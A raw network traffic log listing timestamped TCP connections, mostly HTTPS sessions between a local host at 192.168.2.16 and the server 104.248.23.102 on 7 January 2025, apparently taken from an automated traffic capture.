Jan 7, 2025 14:48:59.886409998 CET	49779	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.886440992 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.886785984 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.887082100 CET	49779	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.887140989 CET	443	49778	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.887154102 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.887222052 CET	49779	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.890336037 CET	443	49778	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.890345097 CET	443	49778	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.890414953 CET	49778	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.890439034 CET	443	49778	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.890755892 CET	443	49778	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.890825033 CET	49778	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.890899897 CET	49778	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:48:59.890913010 CET	443	49778	104.248.23.102	192.168.2.16
Jan 7, 2025 14:48:59.927335024 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.209027052 CET	443	49780	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.209393024 CET	49780	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.209429979 CET	443	49780	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.210508108 CET	443	49780	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.210593939 CET	49780	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.210886955 CET	49780	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.210948944 CET	443	49780	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.211066008 CET	49780	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.211077929 CET	443	49780	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.211106062 CET	49780	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.211162090 CET	443	49780	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.255285978 CET	49780	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.328207970 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.383280039 CET	49779	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.427776098 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.427788019 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.427845001 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.427862883 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.427875042 CET	49779	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.427885056 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.427906036 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.427936077 CET	49779	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.427964926 CET	49779	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.429487944 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.429529905 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.429550886 CET	49779	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.429558992 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.429578066 CET	49779	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.479335070 CET	49779	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.516823053 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.516834974 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.516872883 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.516923904 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.516962051 CET	49779	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.516999006 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.517025948 CET	49779	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.517046928 CET	49779	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.517451048 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.517468929 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.517517090 CET	49779	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.517524004 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.517563105 CET	49779	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.518209934 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.518227100 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.518294096 CET	49779	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.518307924 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.518347979 CET	49779	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.519129992 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.519162893 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.519193888 CET	49779	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.519206047 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.519241095 CET	49779	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.519253969 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.519294024 CET	49779	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.519562006 CET	49779	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.519578934 CET	443	49779	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.751276016 CET	49678	443	192.168.2.16	20.189.173.10
Jan 7, 2025 14:49:00.803677082 CET	443	49780	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.803806067 CET	443	49780	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.803884029 CET	49780	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.804599047 CET	49780	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.804626942 CET	443	49780	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.816843033 CET	49781	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.816885948 CET	443	49781	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:00.816962957 CET	49781	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.817198038 CET	49781	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:00.817209959 CET	443	49781	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:01.450187922 CET	443	49781	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:01.450608015 CET	49781	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:01.450640917 CET	443	49781	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:01.451688051 CET	443	49781	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:01.451752901 CET	49781	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:01.452085018 CET	49781	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:01.452132940 CET	443	49781	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:01.452276945 CET	49781	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:01.452281952 CET	443	49781	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:01.498265982 CET	49781	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:01.955389977 CET	443	49781	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:01.955982924 CET	443	49781	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:01.956068039 CET	49781	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:01.957254887 CET	49781	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:01.957272053 CET	443	49781	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:02.586667061 CET	49782	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:02.586714029 CET	443	49782	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:02.586803913 CET	49782	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:02.587104082 CET	49782	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:02.587121010 CET	443	49782	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:03.235754013 CET	443	49782	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:03.236166000 CET	49782	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:03.236198902 CET	443	49782	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:03.236581087 CET	443	49782	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:03.236900091 CET	49782	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:03.236974955 CET	443	49782	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:03.237116098 CET	49782	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:03.283334970 CET	443	49782	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:03.779252052 CET	443	49782	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:03.779347897 CET	443	49782	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:03.779431105 CET	49782	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:03.779571056 CET	49782	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:03.779591084 CET	443	49782	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:05.216311932 CET	49680	80	192.168.2.16	192.229.211.108
Jan 7, 2025 14:49:11.798264027 CET	49783	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:11.798321962 CET	443	49783	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:11.798409939 CET	49783	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:11.798722029 CET	49783	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:11.798738003 CET	443	49783	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:12.422029972 CET	443	49783	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:12.422332048 CET	49783	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:12.422358990 CET	443	49783	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:12.422641993 CET	443	49783	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:12.422940016 CET	49783	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:12.422991991 CET	443	49783	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:12.423171997 CET	49783	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:12.467328072 CET	443	49783	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:12.938097000 CET	443	49783	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:12.938410997 CET	443	49783	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:12.938456059 CET	49783	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:12.938482046 CET	443	49783	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:12.938493013 CET	49783	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:12.938530922 CET	49783	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:18.072906971 CET	49784	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:18.072968006 CET	443	49784	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:18.073071003 CET	49784	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:18.073318005 CET	49784	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:18.073335886 CET	443	49784	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:18.582470894 CET	49697	80	192.168.2.16	199.232.210.172
Jan 7, 2025 14:49:18.582562923 CET	49698	80	192.168.2.16	199.232.210.172
Jan 7, 2025 14:49:18.587570906 CET	80	49697	199.232.210.172	192.168.2.16
Jan 7, 2025 14:49:18.587637901 CET	49697	80	192.168.2.16	199.232.210.172
Jan 7, 2025 14:49:18.587928057 CET	80	49698	199.232.210.172	192.168.2.16
Jan 7, 2025 14:49:18.587977886 CET	49698	80	192.168.2.16	199.232.210.172
Jan 7, 2025 14:49:18.704925060 CET	443	49784	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:18.705271959 CET	49784	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:18.705295086 CET	443	49784	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:18.705621004 CET	443	49784	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:18.705915928 CET	49784	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:18.705977917 CET	443	49784	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:18.706129074 CET	49784	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:18.747328997 CET	443	49784	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:19.240751028 CET	443	49784	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:19.241038084 CET	49784	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:19.241070032 CET	443	49784	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:19.241177082 CET	49784	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:19.301341057 CET	49707	443	192.168.2.16	210.138.145.62
Jan 7, 2025 14:49:19.301356077 CET	443	49707	210.138.145.62	192.168.2.16
Jan 7, 2025 14:49:22.971092939 CET	49786	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:22.971182108 CET	443	49786	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:22.971302032 CET	49786	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:22.971534014 CET	49786	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:22.971570015 CET	443	49786	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:23.700783968 CET	443	49786	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:23.701144934 CET	49786	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:23.701179028 CET	443	49786	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:23.702074051 CET	443	49786	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:23.702158928 CET	49786	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:23.702444077 CET	49786	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:23.702505112 CET	443	49786	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:23.702687979 CET	49786	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:23.702714920 CET	443	49786	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:23.753377914 CET	49786	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:24.222312927 CET	443	49786	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:24.222635984 CET	49786	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:24.222707987 CET	443	49786	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:24.222790956 CET	49786	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:35.913079977 CET	49707	443	192.168.2.16	210.138.145.62
Jan 7, 2025 14:49:35.913178921 CET	443	49707	210.138.145.62	192.168.2.16
Jan 7, 2025 14:49:35.913256884 CET	49707	443	192.168.2.16	210.138.145.62
Jan 7, 2025 14:49:36.245865107 CET	49788	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:36.245904922 CET	443	49788	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:36.246002913 CET	49788	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:36.246252060 CET	49788	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:36.246267080 CET	443	49788	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:36.438421011 CET	49789	443	192.168.2.16	142.250.185.228
Jan 7, 2025 14:49:36.438466072 CET	443	49789	142.250.185.228	192.168.2.16
Jan 7, 2025 14:49:36.438544035 CET	49789	443	192.168.2.16	142.250.185.228
Jan 7, 2025 14:49:36.438771009 CET	49789	443	192.168.2.16	142.250.185.228
Jan 7, 2025 14:49:36.438781023 CET	443	49789	142.250.185.228	192.168.2.16
Jan 7, 2025 14:49:36.892411947 CET	443	49788	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:36.892788887 CET	49788	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:36.892816067 CET	443	49788	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:36.893913031 CET	443	49788	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:36.894023895 CET	49788	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:36.894299984 CET	49788	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:36.894359112 CET	443	49788	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:36.894534111 CET	49788	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:36.894541979 CET	443	49788	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:36.947488070 CET	49788	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:37.079859972 CET	443	49789	142.250.185.228	192.168.2.16
Jan 7, 2025 14:49:37.080199957 CET	49789	443	192.168.2.16	142.250.185.228
Jan 7, 2025 14:49:37.080226898 CET	443	49789	142.250.185.228	192.168.2.16
Jan 7, 2025 14:49:37.080554008 CET	443	49789	142.250.185.228	192.168.2.16
Jan 7, 2025 14:49:37.080837011 CET	49789	443	192.168.2.16	142.250.185.228
Jan 7, 2025 14:49:37.080897093 CET	443	49789	142.250.185.228	192.168.2.16
Jan 7, 2025 14:49:37.122446060 CET	49789	443	192.168.2.16	142.250.185.228
Jan 7, 2025 14:49:37.395324945 CET	443	49788	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:37.395586014 CET	49788	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:37.395622015 CET	443	49788	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:37.395677090 CET	49788	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:46.994973898 CET	443	49789	142.250.185.228	192.168.2.16
Jan 7, 2025 14:49:46.995039940 CET	443	49789	142.250.185.228	192.168.2.16
Jan 7, 2025 14:49:46.995104074 CET	49789	443	192.168.2.16	142.250.185.228
Jan 7, 2025 14:49:47.919869900 CET	49789	443	192.168.2.16	142.250.185.228
Jan 7, 2025 14:49:47.919892073 CET	443	49789	142.250.185.228	192.168.2.16
Jan 7, 2025 14:49:48.110950947 CET	49790	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:48.110996962 CET	443	49790	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:48.111099958 CET	49790	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:48.111380100 CET	49790	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:48.111397028 CET	443	49790	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:49.343549967 CET	443	49790	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:49.343903065 CET	49790	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:49.343931913 CET	443	49790	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:49.344811916 CET	443	49790	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:49.344911098 CET	49790	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:49.345181942 CET	49790	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:49.345237970 CET	443	49790	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:49.345395088 CET	49790	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:49.345405102 CET	443	49790	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:49.385394096 CET	49790	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:49.855799913 CET	443	49790	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:49.856065035 CET	49790	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:49.856107950 CET	443	49790	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:49.856169939 CET	49790	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:51.017431974 CET	49791	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:51.017468929 CET	443	49791	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:51.017561913 CET	49791	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:51.017781973 CET	49791	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:51.017791033 CET	443	49791	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:51.446902990 CET	49792	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:51.446942091 CET	443	49792	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:51.447031975 CET	49792	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:51.447284937 CET	49792	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:51.447299957 CET	443	49792	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:51.645235062 CET	443	49791	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:51.645531893 CET	49791	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:51.645551920 CET	443	49791	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:51.645884037 CET	443	49791	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:51.646157026 CET	49791	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:51.646213055 CET	443	49791	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:51.646317959 CET	49791	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:51.691329956 CET	443	49791	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:52.121366978 CET	443	49792	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:52.121663094 CET	49792	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:52.121689081 CET	443	49792	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:52.122704029 CET	443	49792	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:52.122793913 CET	49792	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:52.123080015 CET	49792	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:52.123141050 CET	443	49792	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:52.123270035 CET	49792	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:52.123277903 CET	443	49792	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:52.167874098 CET	49792	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:52.204595089 CET	443	49791	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:52.204674959 CET	443	49791	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:52.204755068 CET	49791	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:52.205179930 CET	49791	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:52.205195904 CET	443	49791	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:52.206166983 CET	49793	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:52.206208944 CET	443	49793	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:52.206300020 CET	49793	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:52.206505060 CET	49793	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:52.206520081 CET	443	49793	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:52.635298967 CET	443	49792	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:52.635509014 CET	443	49792	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:52.635528088 CET	49792	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:52.635555983 CET	443	49792	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:52.635566950 CET	49792	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:52.635603905 CET	49792	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:52.839521885 CET	443	49793	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:52.839854956 CET	49793	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:52.839871883 CET	443	49793	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:52.840164900 CET	443	49793	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:52.840502977 CET	49793	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:52.840559006 CET	443	49793	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:52.840666056 CET	49793	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:52.840698004 CET	49793	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:52.840737104 CET	443	49793	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:53.346154928 CET	443	49793	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:53.346272945 CET	443	49793	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:53.346333981 CET	49793	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:53.346965075 CET	49793	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:53.346985102 CET	443	49793	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:53.349509001 CET	49794	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:53.349553108 CET	443	49794	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:53.349637032 CET	49794	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:53.349848032 CET	49794	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:53.349862099 CET	443	49794	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:53.981558084 CET	443	49794	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:53.981841087 CET	49794	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:53.981864929 CET	443	49794	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:53.982157946 CET	443	49794	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:53.982507944 CET	49794	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:53.982568979 CET	443	49794	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:53.982637882 CET	49794	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:54.027329922 CET	443	49794	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:54.520484924 CET	443	49794	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:54.521234035 CET	443	49794	104.248.23.102	192.168.2.16
Jan 7, 2025 14:49:54.521312952 CET	49794	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:54.521771908 CET	49794	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:49:54.521785021 CET	443	49794	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:08.779112101 CET	49796	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:08.779125929 CET	443	49796	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:08.779206991 CET	49796	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:08.779541969 CET	49796	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:08.779555082 CET	443	49796	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:09.426333904 CET	443	49796	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:09.426898956 CET	49796	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:09.426925898 CET	443	49796	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:09.427249908 CET	443	49796	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:09.427696943 CET	49796	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:09.427759886 CET	443	49796	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:09.427958012 CET	49796	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:09.471328974 CET	443	49796	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:09.624736071 CET	49700	80	192.168.2.16	192.229.221.95
Jan 7, 2025 14:50:09.624737978 CET	49699	443	192.168.2.16	20.190.159.68
Jan 7, 2025 14:50:09.629798889 CET	443	49699	20.190.159.68	192.168.2.16
Jan 7, 2025 14:50:09.629909039 CET	49699	443	192.168.2.16	20.190.159.68
Jan 7, 2025 14:50:09.630234957 CET	80	49700	192.229.221.95	192.168.2.16
Jan 7, 2025 14:50:09.630310059 CET	49700	80	192.168.2.16	192.229.221.95
Jan 7, 2025 14:50:09.924506903 CET	443	49796	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:09.924719095 CET	49796	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:09.924741983 CET	443	49796	104.248.23.102	192.168.2.16
Jan 7, 2025 14:50:09.924814939 CET	49796	443	192.168.2.16	104.248.23.102
Jan 7, 2025 14:50:11.874701977 CET	49701	443	192.168.2.16	20.190.159.68
Jan 7, 2025 14:50:11.880384922 CET	443	49701	20.190.159.68	192.168.2.16
Jan 7, 2025 14:50:11.880516052 CET	49701	443	192.168.2.16	20.190.159.68
